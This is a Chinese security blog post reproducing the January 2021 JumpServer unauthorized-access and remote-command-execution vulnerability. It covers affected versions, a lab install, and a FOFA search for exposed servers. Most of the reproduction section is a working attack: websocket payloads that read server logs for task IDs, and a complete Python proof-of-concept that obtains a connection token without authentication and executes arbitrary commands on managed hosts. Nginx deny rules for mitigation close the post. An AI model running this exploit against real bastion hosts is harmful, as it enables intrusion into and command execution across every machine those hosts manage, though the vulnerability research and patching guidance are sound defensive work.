前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞复现】jumpserver未授权访问漏洞

【漏洞复现】jumpserver未授权访问漏洞

作者头像
谢公子
发布2022-01-19 21:06:40
5.6K0
发布2022-01-19 21:06:40
举报
文章被收录于专栏:谢公子学安全谢公子学安全

以下文章来源于十九线菜鸟学安全 ,作者十九线菜鸟学安全

0x00概述

JumpServer 是全球首款开源的堡垒机,使用 GNU GPL v2.0 开源协议,是符合 4A 规范的运维安全审计系统。

2021年1月15日,JumpServer 发布更新修复了一个远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

参考链接:https://github.com/jumpserver/jumpserver/blob/master/README.md

0x01影响范围

受影响版本:

· < v2.6.2

· < v2.5.4

· < v2.4.5

· = v1.5.9

不受影响版本:

· >= v2.6.2

· >= v2.5.4

· >= v2.4.5

· = v1.5.9 (版本号没变)

0x02漏洞复现

环境搭建

在CentOS7系统下执行如下命令即可进行快速安装:

curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh | sh

完成后进入安装目录/opt/jumpserver-installer-v2.6.1,执行如下命令即可启动jumpserver:

./jmsctl.sh start

访问默认端口8080即可进入后台:

详细的安装教程可参考官方文档:https://docs.jumpserver.org/zh/master/install/setup_by_fast/

互联网资产搜索

在fofa中通过搜索关键字:title="jumpserver",可以搜索到运行在互联网上的jumpserver

0x03复现

通过对比修复前后的源码,发现左边的代码在接受连接之前做了是否已经登录和是否是管理员的判断,而右边未修复的代码则没有任何判断默认接受所有连接,因此旧版本的websocket可以进行未授权连接。

连接websocket可以用Chrome插件websocket-test-client,同时提供一个好用的在线版websocket测试工具:http://coolaf.com/tool/chattest

通过该漏洞可以获取token,漏洞出现在websocket处,通过如下接口可以读取服务端日志:

ws://xx.xx.xx.xx:8080/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/jumpserver"}

在返回信息中可获取Taskid。

利用上一步得到的Taskid,可进行进一步的信息获取,将Taskid值send给接口,即可查看到当前任务的详细信息。

{"task":"dc0533d8-078a-47c0-b554-01f368a89a19"}

可能有些小伙伴在复现读取Taskid信息是没有成功,我也一样,研究了一晚上发现我们未授权读取的其实是日志文件,我们获取到的内容取决于日志记录的内容,一些Taskid可能已经失效了,在进行测试的时候可以看一下当前Taskid对应的时间,过于久远的id肯定是无法获取详情的。

同理也能解释为什么在很多次测试中没有搜索到system_user这个字段,如果在实战中运气足够好,正好赶上管理员登陆了系统未退出,在日志中获取到system_user、user、asset这三个字段,则可以RCE。已经有大佬写好了PoC,在PoC中替换system_user、user、asset为我们获取的值,即可成功执行命令(参考:https://www.o2oxy.cn/2921.html):

# -*- coding: utf-8 -*- # import requests # import json # data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"} # # url_host='http://192.168.1.73:8080' # # def get_token(): # url = url_host+'/api/v1/users/connection-token/?user-only=1' # url =url_host+'/api/v1/authentication/connection-token/?user-only=1' # response = requests.post(url, json=data).json() # print(response) # ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token']) # print(ret.text) # get_token() import asyncio import websockets import requests import json url = "/api/v1/authentication/connection-token/?user-only=None" # 向服务器端发送认证后的消息 async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text}") # 客户端主逻辑 async def main_logic(cmd): print("#######start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("###############") print("init ws") print("###############") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket,inittext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print("###############") print("exec cmd: ls") cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print('#######finish') if __name__ == '__main__': try: import sys host=sys.argv[1] cmd=sys.argv[2] if host[-1]=='/': host=host[:-1] print(host) data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825", "system_user": "79655e4e-1741-46af-a793-fff394540a52"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)) except: print("python jumpserver.py http://192.168.1.73 whoami")

0x04防护方案

在官方发布的最新版本中已经修复了该漏洞,请受影响的用户及时进行更新。

对于不方便更新的用户,官方还提供了临时防护方案:

修改Nginx配置文件,以屏蔽漏洞接口:

/api/v1/authentication/connection-token/ /api/v1/users/connection-token/

Nginx配置文件位置如下:

社区老版本 /etc/nginx/conf.d/jumpserver.conf # 企业老版本 jumpserver-release/nginx/http_server.conf # 新版本在 jumpserver-release/compose/config_static/http_server.conf Nginx配置文件实例为: ### 保证在 /api 之前和 / 之前 location /api/v1/authentication/connection-token/ { return 403; } location /api/v1/users/connection-token/ { return 403; } ### 新增以上这些 location /api/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://core:8080; } ……

修改配置文件完毕后,重启Nginx服务即可。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00概述
  • JumpServer 是全球首款开源的堡垒机,使用 GNU GPL v2.0 开源协议,是符合 4A 规范的运维安全审计系统。
  • 2021年1月15日,JumpServer 发布更新修复了一个远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。
  • 参考链接:https://github.com/jumpserver/jumpserver/blob/master/README.md
  • 0x01影响范围
  • 0x02漏洞复现
    • 环境搭建
      • 互联网资产搜索
        • 0x03复现
        • 0x04防护方案
        相关产品与服务
        堡垒机
        腾讯云堡垒机(Bastion Host,BH)可为您的 IT 资产提供代理访问以及智能操作审计服务,为客户构建一套完善的事前预防、事中监控、事后审计安全管理体系,助力企业顺利通过等保测评。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档